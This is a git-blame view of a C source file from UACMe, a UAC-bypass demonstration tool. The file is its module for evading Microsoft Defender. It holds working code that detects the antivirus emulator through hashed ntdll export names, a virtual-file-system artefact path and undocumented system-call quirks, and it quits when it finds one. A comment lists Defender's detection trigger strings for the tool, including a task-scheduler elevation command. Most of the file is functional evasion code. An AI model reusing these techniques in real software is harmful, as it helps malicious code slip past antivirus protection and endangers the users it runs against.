2018-06-15 11:44:01 +00:00
|
|
|
/*******************************************************************************
|
|
|
|
*
|
2020-05-23 11:55:26 +00:00
|
|
|
* (C) COPYRIGHT AUTHORS, 2015 - 2020
|
2018-06-15 11:44:01 +00:00
|
|
|
*
|
|
|
|
* TITLE: WINDEFEND.C
|
|
|
|
*
|
2020-10-05 17:17:21 +00:00
|
|
|
* VERSION: 3.50
|
2018-06-15 11:44:01 +00:00
|
|
|
*
|
2020-10-05 17:17:21 +00:00
|
|
|
* DATE: 14 Sep 2020
|
2018-06-15 11:44:01 +00:00
|
|
|
*
|
|
|
|
* MSE / Windows Defender anti-emulation part.
|
|
|
|
*
|
2018-07-14 17:15:02 +00:00
|
|
|
* WARNING: Kernel32/ntdll only dependencies.
|
|
|
|
*
|
2018-06-15 11:44:01 +00:00
|
|
|
* Short FAQ:
|
|
|
|
*
|
2018-07-14 17:15:02 +00:00
|
|
|
* Q: Why this module included in UACMe,
|
2018-06-15 11:44:01 +00:00
|
|
|
* I thought this is demonstrator tool not real malware?
|
|
|
|
*
|
|
|
|
* A: WinDefender is a default AV software installed on every Windows
|
|
|
|
* since Windows 8. Because some of the lazy malware authors copy-pasted
|
|
|
|
* whole UACMe project in their crappiest malware WinDefender has
|
|
|
|
* several signatures to detect UACMe and it components.
|
|
|
|
* Example of WinDefend signature: Bampeass. We cannot be prevented by this
|
|
|
|
* as this demonstrator must be running on newest Windows OS versions.
|
|
|
|
*
|
|
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
|
|
* PARTICULAR PURPOSE.
|
|
|
|
*
|
|
|
|
*******************************************************************************/
|
|
|
|
|
|
|
|
#include "shared.h"
|
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
#pragma warning(push)
|
2018-11-21 05:14:29 +00:00
|
|
|
#pragma warning(disable: 4055)
|
2018-09-02 07:28:59 +00:00
|
|
|
#pragma warning(disable: 4152)
|
2018-06-15 11:44:01 +00:00
|
|
|
|
2019-03-29 18:06:01 +00:00
|
|
|
/*
|
|
|
|
|
|
|
|
WD Signatures
|
|
|
|
|
|
|
|
Trojan:Win64/Bampeass.A
|
|
|
|
|
|
|
|
Triggers:
|
|
|
|
[ U C M ] W u s a f a i l e d c o p y H i b i k i
|
|
|
|
% t e m p % \ H i b i k i . d l l
|
|
|
|
E l e v a t i o n : A d m i n i s t r a t o r ! n e w : { 4 D 1 1 1 E 0 8 - C B F 7 - 4 f 1 2 - A 9 2 6 - 2 C 7 9 2 0 A F 5 2 F C }
|
|
|
|
U A C M e i n j e c t e d , F u b u k i a t y o u r s e r v i c e
|
|
|
|
|
|
|
|
|
|
|
|
Trojan:Win64/Bampeass.B
|
|
|
|
|
|
|
|
Triggers:
|
|
|
|
UACMe injected, Hibiki at your service.
|
|
|
|
ucmLoadCallback, dll load %ws, DllBase = %
|
|
|
|
|
|
|
|
|
|
|
|
Trojan:Win64/Bampeass.C
|
|
|
|
|
|
|
|
Triggers:
|
|
|
|
ucmLoadCallback, dll load %ws, DllBase = %p
|
|
|
|
UACMe injected, Hibiki at your service.
|
|
|
|
ucmLoadCallback, kernel32 base found
|
|
|
|
|
2018-06-15 11:44:01 +00:00
|
|
|
|
2020-10-05 17:17:21 +00:00
|
|
|
HackTool:Win64/UACMe.A!MSR
|
2018-09-02 07:28:59 +00:00
|
|
|
|
2020-10-05 17:17:21 +00:00
|
|
|
Triggers:
|
|
|
|
\REGISTRY\MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\UAC\COMAutoApprovalList
|
|
|
|
run /tn "\Microsoft\Windows\DiskCleanup\SilentCleanup" /i
|
|
|
|
"UACMe main module
|
|
|
|
UAC is now disabled.\nYou must reboot your computer for the changes to take effect.
|
|
|
|
_FubukiProc4
|
|
|
|
UACMe v3.1.9.1905
|
|
|
|
\Software\KureND
|
|
|
|
ArisuTsuberuku
|
|
|
|
AkagiCompletionEvent
|
|
|
|
AkagiSharedSection
|
|
|
|
|
|
|
|
HackTool:Win32/Fubuki!MTB
|
2018-09-02 07:28:59 +00:00
|
|
|
|
2020-10-05 17:17:21 +00:00
|
|
|
Triggers:
|
|
|
|
AkagiSharedSection
|
|
|
|
system32\
|
|
|
|
_FubukiProc2
|
|
|
|
mmc.exe
|
|
|
|
\?\globalroot\systemroot\system32\sysprep\unbcl
|
|
|
|
CorBindToRuntimeEx
|
|
|
|
CreateUri
|
2018-09-02 07:28:59 +00:00
|
|
|
|
2020-10-05 17:17:21 +00:00
|
|
|
*/
|
2018-06-15 11:44:01 +00:00
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
DWORD wdxEmulatorAPIHashTable[] = {
|
2019-03-29 18:06:01 +00:00
|
|
|
0x70CE7692,
|
2019-03-31 07:29:55 +00:00
|
|
|
0xD4CE4554,
|
|
|
|
0x7A99CFAE
|
2018-06-15 11:44:01 +00:00
|
|
|
};
|
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
PVOID wdxGetProcedureAddressByHash(
|
|
|
|
_In_ PVOID MpClientBase,
|
2018-11-21 05:14:29 +00:00
|
|
|
_In_ DWORD ProcedureHash);
|
2018-09-02 07:28:59 +00:00
|
|
|
|
|
|
|
|
2018-06-15 11:44:01 +00:00
|
|
|
/*
|
2018-06-15 13:45:27 +00:00
|
|
|
* wdxGetHashForString
|
2018-06-15 11:44:01 +00:00
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Calculates specific hash for string.
|
|
|
|
*
|
|
|
|
*/
|
|
|
|
DWORD wdxGetHashForString(
|
|
|
|
_In_ char *s
|
|
|
|
)
|
|
|
|
{
|
|
|
|
DWORD h = 0;
|
|
|
|
|
|
|
|
while (*s != 0) {
|
|
|
|
h ^= *s;
|
|
|
|
h = RotateLeft32(h, 3) + 1;
|
|
|
|
s++;
|
|
|
|
}
|
|
|
|
|
|
|
|
return h;
|
|
|
|
}
|
|
|
|
|
2018-07-14 17:15:02 +00:00
|
|
|
/*
|
|
|
|
* wdxGetProcedureAddressByHash
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Return pointer to function in MpClient from name hash value.
|
|
|
|
*
|
|
|
|
*/
|
|
|
|
PVOID wdxGetProcedureAddressByHash(
|
2020-10-05 17:17:21 +00:00
|
|
|
_In_ PVOID ImageBase,
|
2018-11-21 05:14:29 +00:00
|
|
|
_In_ DWORD ProcedureHash
|
2018-07-14 17:15:02 +00:00
|
|
|
)
|
|
|
|
{
|
|
|
|
DWORD i;
|
|
|
|
ULONG sz = 0;
|
|
|
|
|
|
|
|
IMAGE_DOS_HEADER *DosHeader;
|
|
|
|
IMAGE_EXPORT_DIRECTORY *Exports;
|
|
|
|
PDWORD Names, Functions;
|
|
|
|
PWORD Ordinals;
|
|
|
|
|
|
|
|
DWORD_PTR FunctionPtr;
|
|
|
|
|
2020-10-05 17:17:21 +00:00
|
|
|
DosHeader = (IMAGE_DOS_HEADER*)ImageBase;
|
2018-07-14 17:15:02 +00:00
|
|
|
|
2020-10-05 17:17:21 +00:00
|
|
|
Exports = (IMAGE_EXPORT_DIRECTORY*)RtlImageDirectoryEntryToData(ImageBase,
|
|
|
|
TRUE,
|
|
|
|
IMAGE_DIRECTORY_ENTRY_EXPORT,
|
|
|
|
&sz);
|
2018-07-14 17:15:02 +00:00
|
|
|
|
|
|
|
if (Exports == NULL)
|
|
|
|
return NULL;
|
|
|
|
|
|
|
|
Names = (PDWORD)((PBYTE)DosHeader + Exports->AddressOfNames);
|
|
|
|
Ordinals = (PWORD)((PBYTE)DosHeader + Exports->AddressOfNameOrdinals);
|
|
|
|
Functions = (PDWORD)((PBYTE)DosHeader + Exports->AddressOfFunctions);
|
|
|
|
|
|
|
|
for (i = 0; i < Exports->NumberOfNames; i++) {
|
|
|
|
if (wdxGetHashForString((char *)((PBYTE)DosHeader + Names[i])) == ProcedureHash) {
|
|
|
|
FunctionPtr = Functions[Ordinals[i]];
|
2020-10-05 17:17:21 +00:00
|
|
|
return (PBYTE)ImageBase + FunctionPtr;
|
2018-07-14 17:15:02 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
return NULL;
|
|
|
|
}
|
|
|
|
/*
|
|
|
|
* wdCheckEmulatedVFS
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Detect Microsoft Security Engine emulation by it own VFS artefact.
|
|
|
|
*
|
|
|
|
* Microsoft AV provides special emulated environment for scanned application where it
|
|
|
|
* fakes general system information, process environment structures/data to make sure
|
|
|
|
* API calls are transparent for scanned code. It also use simple Virtual File System
|
|
|
|
* allowing this AV track file system changes and if needed continue emulation on new target.
|
|
|
|
*
|
|
|
|
* This method implemented in commercial malware presumable since 2013.
|
|
|
|
*
|
|
|
|
*/
|
|
|
|
VOID wdCheckEmulatedVFS(
|
|
|
|
VOID
|
|
|
|
)
|
|
|
|
{
|
|
|
|
WCHAR szBuffer[MAX_PATH];
|
|
|
|
WCHAR szMsEngVFS[12] = { L':', L'\\', L'm', L'y', L'a', L'p', L'p', L'.', L'e', L'x', L'e', 0 };
|
|
|
|
|
|
|
|
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
|
|
|
|
GetModuleFileName(NULL, szBuffer, MAX_PATH);
|
|
|
|
if (_strstri(szBuffer, szMsEngVFS) != NULL) {
|
2020-10-05 17:17:21 +00:00
|
|
|
RtlExitUserProcess((UINT)0);
|
2018-07-14 17:15:02 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2018-06-15 11:44:01 +00:00
|
|
|
/*
|
|
|
|
* wdIsEmulatorPresent
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Detect MS emulator state.
|
|
|
|
*
|
|
|
|
*/
|
|
|
|
NTSTATUS wdIsEmulatorPresent(
|
|
|
|
VOID)
|
|
|
|
{
|
|
|
|
PCHAR ImageBase = NULL;
|
|
|
|
|
2018-07-14 17:15:02 +00:00
|
|
|
IMAGE_DOS_HEADER *DosHeader;
|
|
|
|
IMAGE_EXPORT_DIRECTORY *Exports;
|
|
|
|
PDWORD Names;
|
2018-06-15 11:44:01 +00:00
|
|
|
|
2018-07-14 17:15:02 +00:00
|
|
|
ULONG i, c, Hash, sz = 0;
|
2018-06-15 11:44:01 +00:00
|
|
|
|
2018-07-14 17:15:02 +00:00
|
|
|
UNICODE_STRING usNtdll = RTL_CONSTANT_STRING(L"ntdll.dll");
|
2018-06-15 11:44:01 +00:00
|
|
|
|
2019-03-29 18:06:01 +00:00
|
|
|
if (!NT_SUCCESS(LdrGetDllHandleEx(LDR_GET_DLL_HANDLE_EX_UNCHANGED_REFCOUNT,
|
|
|
|
NULL, NULL, &usNtdll, &ImageBase)))
|
|
|
|
{
|
2018-06-15 11:44:01 +00:00
|
|
|
return STATUS_DLL_NOT_FOUND;
|
2019-03-29 18:06:01 +00:00
|
|
|
}
|
2018-06-15 11:44:01 +00:00
|
|
|
|
2018-11-21 05:14:29 +00:00
|
|
|
Exports = (IMAGE_EXPORT_DIRECTORY*)RtlImageDirectoryEntryToData(ImageBase, TRUE,
|
2018-07-14 17:15:02 +00:00
|
|
|
IMAGE_DIRECTORY_ENTRY_EXPORT, &sz);
|
2018-06-15 11:44:01 +00:00
|
|
|
|
2018-07-14 17:15:02 +00:00
|
|
|
if (Exports == NULL)
|
2018-06-15 11:44:01 +00:00
|
|
|
return STATUS_INVALID_IMAGE_FORMAT;
|
|
|
|
|
2018-07-14 17:15:02 +00:00
|
|
|
DosHeader = (IMAGE_DOS_HEADER*)ImageBase;
|
|
|
|
Names = (PDWORD)((PBYTE)DosHeader + Exports->AddressOfNames);
|
2018-06-15 11:44:01 +00:00
|
|
|
|
2018-07-14 17:15:02 +00:00
|
|
|
for (i = 0; i < Exports->NumberOfNames; i++) {
|
|
|
|
Hash = wdxGetHashForString((char *)((PBYTE)DosHeader + Names[i]));
|
2019-03-29 18:06:01 +00:00
|
|
|
for (c = 0; c < RTL_NUMBER_OF(wdxEmulatorAPIHashTable); c++) {
|
2018-09-02 07:28:59 +00:00
|
|
|
if (Hash == wdxEmulatorAPIHashTable[c])
|
2018-06-15 11:44:01 +00:00
|
|
|
return STATUS_NEEDS_REMEDIATION;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
return STATUS_NOT_SUPPORTED;
|
|
|
|
}
|
2018-07-14 17:15:02 +00:00
|
|
|
|
2018-12-12 07:44:47 +00:00
|
|
|
/*
|
|
|
|
* wdIsEmulatorPresent2
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Detect MS emulator state 2.
|
|
|
|
*
|
|
|
|
* Microsoft AV defines virtual environment dlls loaded in runtime from VDM files.
|
|
|
|
* These fake libraries implement additional detection layer and come with a lot of
|
|
|
|
* predefined values.
|
|
|
|
*
|
|
|
|
*/
|
2019-03-29 18:06:01 +00:00
|
|
|
BOOLEAN wdIsEmulatorPresent2(
|
2018-12-12 07:44:47 +00:00
|
|
|
VOID)
|
2019-03-29 18:06:01 +00:00
|
|
|
{
|
|
|
|
return NtIsProcessInJob(NtCurrentProcess(), UlongToHandle(10)) == 0x125;
|
2018-07-14 17:15:02 +00:00
|
|
|
}
|
2018-09-02 07:28:59 +00:00
|
|
|
|
2020-09-14 08:47:52 +00:00
|
|
|
/*
|
|
|
|
* wdIsEmulatorPresent3
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Same as previous.
|
|
|
|
*
|
|
|
|
*/
|
|
|
|
BOOLEAN wdIsEmulatorPresent3(
|
|
|
|
VOID)
|
|
|
|
{
|
|
|
|
if (NT_SUCCESS(NtCompressKey(UlongToHandle(0xFFFF1234))))
|
|
|
|
return TRUE;
|
|
|
|
|
|
|
|
return FALSE;
|
|
|
|
}
|
|
|
|
|
2018-09-02 07:28:59 +00:00
|
|
|
#pragma warning(pop)
|